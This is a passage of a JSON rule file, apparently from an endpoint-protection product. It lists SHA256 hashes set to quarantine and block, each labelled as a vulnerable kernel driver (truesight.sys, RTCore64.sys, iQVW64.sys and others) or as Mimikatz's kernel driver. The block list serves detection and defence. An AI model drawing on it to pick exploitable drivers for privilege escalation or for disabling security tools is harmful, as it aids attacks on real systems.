+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "948adb32-87a7-53ee-87ce-2a23c59ac824",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817435Z",
+  "creation_date": "2026-03-23T11:45:30.817437Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817443Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cb3dd0482092eb019dc11797dcf09f69fb3f06330e1fba0047678b226b57c2cd",
+  "comment": "Vulnerable Kernel Driver (aka AODDriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "949bdc61-5746-5181-a0b8-309c8d04c0af",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814807Z",
+  "creation_date": "2026-03-23T11:45:31.814811Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814821Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5c0f29e618de3279c8e8acfa40e5401c07babd6745b424c70924e4af4c70a5fd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "94b5c781-0054-51f6-aca2-7c976bf1e3e6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152262Z",
+  "creation_date": "2026-03-23T11:45:31.152265Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152273Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7e9f972b519c685988bc5a7f6c4ccb22b9a772e9656bb993b6352106debe4b61",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "94b86396-5cdb-5c00-9dfa-a058b466d8b5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607979Z",
+  "creation_date": "2026-03-23T11:45:29.607981Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607986Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "478c36f8af7844a80e24c1822507beef6314519185717ec7ae224a0e04b2f330",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "94bd268d-12b7-52ee-8b35-7774be423938",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828311Z",
+  "creation_date": "2026-03-23T11:45:30.828313Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828319Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ba02e43430d579145900f42374fc56bf273024ecfbd44ce5532eda11ac0ba508",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "94be0003-257a-5907-bd65-33d21497d65b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818364Z",
+  "creation_date": "2026-03-23T11:45:30.818366Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818371Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "680ddece32fe99f056e770cb08641f5b585550798dfdf723441a11364637c7e6",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "94d5ac28-9db0-500f-8686-954e961d829b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819585Z",
+  "creation_date": "2026-03-23T11:45:30.819587Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819592Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f4e500a9ac5991da5bf114fa80e66456a2cde3458a3d41c14e127ac09240c114",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "94d60cc0-9cfb-5cc0-9652-0ba2c2dc7860",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970315Z",
+  "creation_date": "2026-03-23T11:45:29.970317Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970322Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f9b01406864ab081aa77eef4ad15cb2dd2f830d1ef54f52622a59ff1aeb05ba5",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "94e2e2ef-8d3e-5f8b-b372-6e6410980cdf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832567Z",
+  "creation_date": "2026-03-23T11:45:30.832570Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832575Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b3832cb8733556dd51ecfe0249453dbb1c2e68a4fadd2ccdda42095e6d34e143",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "94ec62c4-a471-5be9-ad86-3a60a50fa768",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605469Z",
+  "creation_date": "2026-03-23T11:45:29.605471Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605476Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9b6a84f7c40ea51c38cc4d2e93efb3375e9d98d4894a85941190d94fbe73a4e4",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "94f48674-5043-5968-8419-00d4647b4c97",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972055Z",
+  "creation_date": "2026-03-23T11:45:29.972057Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972062Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a59c40e7470b7003e8adfee37c77606663e78d7e3f2ebb8d60910af19924d8df",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "94f72601-f212-5b22-860a-2e09abaabcc3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812580Z",
+  "creation_date": "2026-03-23T11:45:31.812582Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812587Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3937547494dc6b46f7b584635a8e15d1a63101b4d90a7d11bef54b0d70537e1c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9516741f-12fa-5711-8b5d-cb434fca36c8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819360Z",
+  "creation_date": "2026-03-23T11:45:30.819362Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819367Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e38c1b19e1bef9be8e9d8aa0d599086acb33867988e4077e0e7f35cc2bb30738",
+  "comment": "Vulnerable Kernel Driver (aka hwdetectng.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "952631bf-32cd-5c56-9634-6538d0db7e4b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824349Z",
+  "creation_date": "2026-03-23T11:45:30.824351Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824357Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6ca247c3ca4ba56ca1e2c8a5972d5a147de33b335f0b8dcebc8657cd1c4b5f83",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "952d56b7-e4e1-58ed-b37c-56e68c2bf0fb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836754Z",
+  "creation_date": "2026-03-23T11:45:30.836756Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836761Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6cf4d8c1ec738738fa6c7cd130c9658eb21faaef0a9f8659bde2efaad88d02b2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "952fe222-ddf0-567a-8417-60f175f39a77",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149144Z",
+  "creation_date": "2026-03-23T11:45:31.149146Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149191Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "744ed029e9736a98f8e21b8e5d45e78a1cdeeeeb54701c4777099194de8eb6ab",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "953521ba-e961-5900-9202-58a0d930f06c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823944Z",
+  "creation_date": "2026-03-23T11:45:31.823956Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823965Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "158c24d677ba46f36ee7af78321cc18070518d31d39cba466f121df3025c3ec5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9535de87-b09d-5208-90ee-a4dde33c391c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153230Z",
+  "creation_date": "2026-03-23T11:45:31.153233Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153242Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c96a79153fb6a5cbcea22594e0305c1290f98d22a6205f9c5aaafd86ae3d027a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "953aea04-e443-50f6-a66d-f2ab2cf42983",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480759Z",
+  "creation_date": "2026-03-23T11:45:31.480763Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480772Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "44ec870309da8e35fc9c6cf3b82029ea780a15a6c24a95bbf498f76a1e45f0d9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9550324a-f828-5ca5-9ee7-2ad6504c354e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816809Z",
+  "creation_date": "2026-03-23T11:45:31.816812Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816819Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2e599011e68fe87619f887731f8cefff3e7f2379fdb3432b1c0806a7b2908b2a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "95562fd9-1249-5a3b-8500-20568d458428",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829673Z",
+  "creation_date": "2026-03-23T11:45:30.829676Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829685Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8f7b50d590b81850bb0a84fa1314cfd8572abf90fa9b4de8b89e1e9f906df35c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "958d9671-e989-5469-93d7-355e5034fdee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494546Z",
+  "creation_date": "2026-03-23T11:45:31.494548Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494554Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fdbc03908ce11512ba109d53e8d62b27e347683ff6aaad37d48b4eda3d2dddbc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9597b55e-da1f-5527-b410-5788e431c313",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
